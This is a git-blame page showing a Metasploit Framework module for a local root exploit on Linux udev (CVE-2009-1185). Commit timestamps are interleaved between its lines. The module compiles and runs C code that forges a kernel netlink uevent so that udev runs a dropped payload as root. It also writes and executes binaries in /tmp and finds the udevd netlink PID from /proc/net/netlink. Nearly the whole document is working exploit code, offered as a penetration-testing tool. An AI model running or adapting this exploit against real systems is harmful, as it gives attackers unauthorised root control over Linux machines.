Files
metasploit-gs/modules/exploits/linux/local/udev_netlink.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

276 lines
7.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2013-09-05 13:41:25 -05:00
Rank = GreatRanking
2013-09-05 13:41:25 -05:00
include Msf::Exploit::EXE
include Msf::Post::File
2013-09-05 13:41:25 -05:00
include Msf::Exploit::Local::Linux
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Linux udev Netlink Local Privilege Escalation',
'Description' => %q{
Versions of udev < 1.4.1 do not verify that netlink messages are
coming from the kernel. This allows local users to gain privileges by
sending netlink messages from userland.
},
'License' => MSF_LICENSE,
'Author' => [
'kcope', # discovery
2013-09-05 13:41:25 -05:00
'Jon Oberheide', # 95-udev-late.rules technique
'egypt' # metasploit module
],
2021-09-10 12:53:39 +01:00
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' => [
2013-09-05 13:41:25 -05:00
[ 'CVE', '2009-1185' ],
[ 'OSVDB', '53810' ],
2013-09-05 13:41:25 -05:00
[ 'BID', '34536' ]
],
2021-09-10 12:53:39 +01:00
'Targets' => [
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ],
# [ 'Command payload', { 'Arch' => ARCH_CMD } ],
2013-09-05 13:41:25 -05:00
],
2021-09-10 12:53:39 +01:00
'DefaultOptions' => { 'WfsDelay' => 2 },
'DefaultTarget' => 0,
'DisclosureDate' => '2009-04-16',
2021-10-06 13:43:31 +01:00
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_get_processes
]
}
},
2021-09-10 12:53:39 +01:00
}
)
)
2018-10-10 14:12:29 +00:00
register_options [
2021-09-10 12:53:39 +01:00
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ])
2018-10-10 14:12:29 +00:00
]
register_advanced_options [
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
]
2013-09-05 13:41:25 -05:00
end
2013-09-05 13:41:25 -05:00
def exploit
if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
netlink_pid = datastore["NetlinkPID"]
else
print_status("Attempting to autodetect netlink pid...")
netlink_pid = autodetect_netlink_pid
end
2013-09-05 13:41:25 -05:00
if not netlink_pid
print_error "Couldn't autodetect netlink PID, try specifying it manually."
print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
return
else
print_good "Found netlink pid: #{netlink_pid}"
end
2013-09-05 13:41:25 -05:00
sc = Metasm::ELF.new(@cpu)
sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
.entrypoint
#endif
call main
push eax
call exit
|
2013-09-05 13:41:25 -05:00
payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
2013-09-05 13:41:25 -05:00
main = %Q^
2013-05-24 14:13:10 -05:00
/*
** All of these includes are now factorized.
**/
/*
#include <sys/types.h>
#include <sys/socket.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <linux/netlink.h>
2013-05-24 14:13:10 -05:00
*/
#define NETLINK_KOBJECT_UEVENT 15
#define PF_NETLINK 16
#define SOCK_DGRAM 2
#define AF_NETLINK PF_NETLINK
typedef unsigned short __kernel_sa_family_t;
typedef unsigned int __socklen_t;
typedef int __ssize_t;
typedef unsigned int __u32;
extern int close(int __fd);
typedef unsigned short sa_family_t;
typedef unsigned long size_t;
extern int socket(int __domain, int __type, int __protocol);
extern int sprintf(char *__s, const char *__format, ...);
const struct iovec {
void *iov_base;
size_t iov_len;
};
extern void *memset(void *__s, int __c, size_t __n);
const struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
};
struct sockaddr_nl {
__kernel_sa_family_t nl_family;
unsigned short nl_pad;
__u32 nl_pid;
__u32 nl_groups;
};
typedef __socklen_t socklen_t;
typedef __ssize_t ssize_t;
extern int bind(int __fd, const struct sockaddr *__addr, socklen_t __len);
const struct msghdr {
void *msg_name;
socklen_t msg_namelen;
const struct iovec *msg_iov;
size_t msg_iovlen;
void *msg_control;
size_t msg_controllen;
int msg_flags;
};
extern ssize_t sendmsg(int __fd, const struct msghdr *__message, int __flags);
/* end factorize */
2012-09-18 11:52:50 +02:00
#define NULL 0
int main() {
int sock;
struct iovec iov;
struct sockaddr_nl sa;
struct msghdr msg;
char *mp;
char message[4096];
2013-08-30 16:28:54 -05:00
memset(sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
sa.nl_pid = #{netlink_pid};
sa.nl_groups = 0;
2013-08-30 16:28:54 -05:00
2012-09-18 12:12:27 +02:00
memset(&msg, 0x00, sizeof(struct msghdr));
msg.msg_name = (void *)&sa;
msg.msg_namelen = sizeof(sa);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
2012-09-18 11:52:50 +02:00
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = 0;
2013-08-30 16:28:54 -05:00
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &sa, sizeof(sa));
2013-08-30 16:28:54 -05:00
mp = message;
mp += sprintf(mp, "remove@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;
2013-08-30 16:28:54 -05:00
iov.iov_base = (void*)message;
iov.iov_len = (int)(mp-message);
2013-08-30 16:28:54 -05:00
sendmsg(sock, &msg, 0);
2013-08-30 16:28:54 -05:00
close(sock);
2013-08-30 16:28:54 -05:00
return 0;
}
^
cparser.parse(main, "main.c")
2013-05-24 14:13:10 -05:00
# This will give you all the structs and #defines (from all included
# headers) that are actually used by our C code so we can avoid
# needing them at runtime.
2021-09-10 12:53:39 +01:00
# puts cparser.factorize
2013-08-30 16:28:54 -05:00
asm = cpu.new_ccompiler(cparser, sc).compile
2013-08-30 16:28:54 -05:00
sc.parse asm
2013-08-30 16:28:54 -05:00
sc.assemble
2013-08-30 16:28:54 -05:00
begin
elf = sc.encode_string
rescue => e
print_error 'Metasm Encoding failed'
elog('Metasm Encoding failed', error: e)
return
end
2013-08-30 16:28:54 -05:00
pl = payload.encoded_exe
print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
write_file(payload_path, pl)
2013-08-30 16:28:54 -05:00
print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
write_file(evil_path, elf)
2013-08-30 16:28:54 -05:00
print_status "chmod'ing and running it..."
cmd_exec("chmod 755 #{evil_path} #{payload_path}")
cmd_exec("#{evil_path}")
2013-08-30 16:28:54 -05:00
rm_f(evil_path, payload_path)
end
2013-08-30 16:28:54 -05:00
def autodetect_netlink_pid
netlink_pid = nil
2013-08-30 16:28:54 -05:00
case session.type
when "meterpreter"
print_status("Meterpreter session, using get_processes to find netlink pid")
process_list = session.sys.process.get_processes
2021-09-10 12:53:39 +01:00
udev_proc = process_list.find { |p| p["name"] =~ /udevd/ }
udev_pid = udev_proc["pid"]
print_status "udev pid: #{udev_pid}"
netlink = read_file("/proc/net/netlink")
netlink.each_line do |line|
pid = line.split(/\s+/)[2].to_i
if pid == udev_pid - 1
netlink_pid = pid
break
end
end
else
print_status("Shell session, trying sh script to find netlink pid")
netlink_pid = cmd_exec(
%q^
for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
[ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
done;
2021-09-10 12:53:39 +01:00
done ^
)
netlink_pid = nil if netlink_pid.empty?
end
2013-08-30 16:28:54 -05:00
netlink_pid
end
end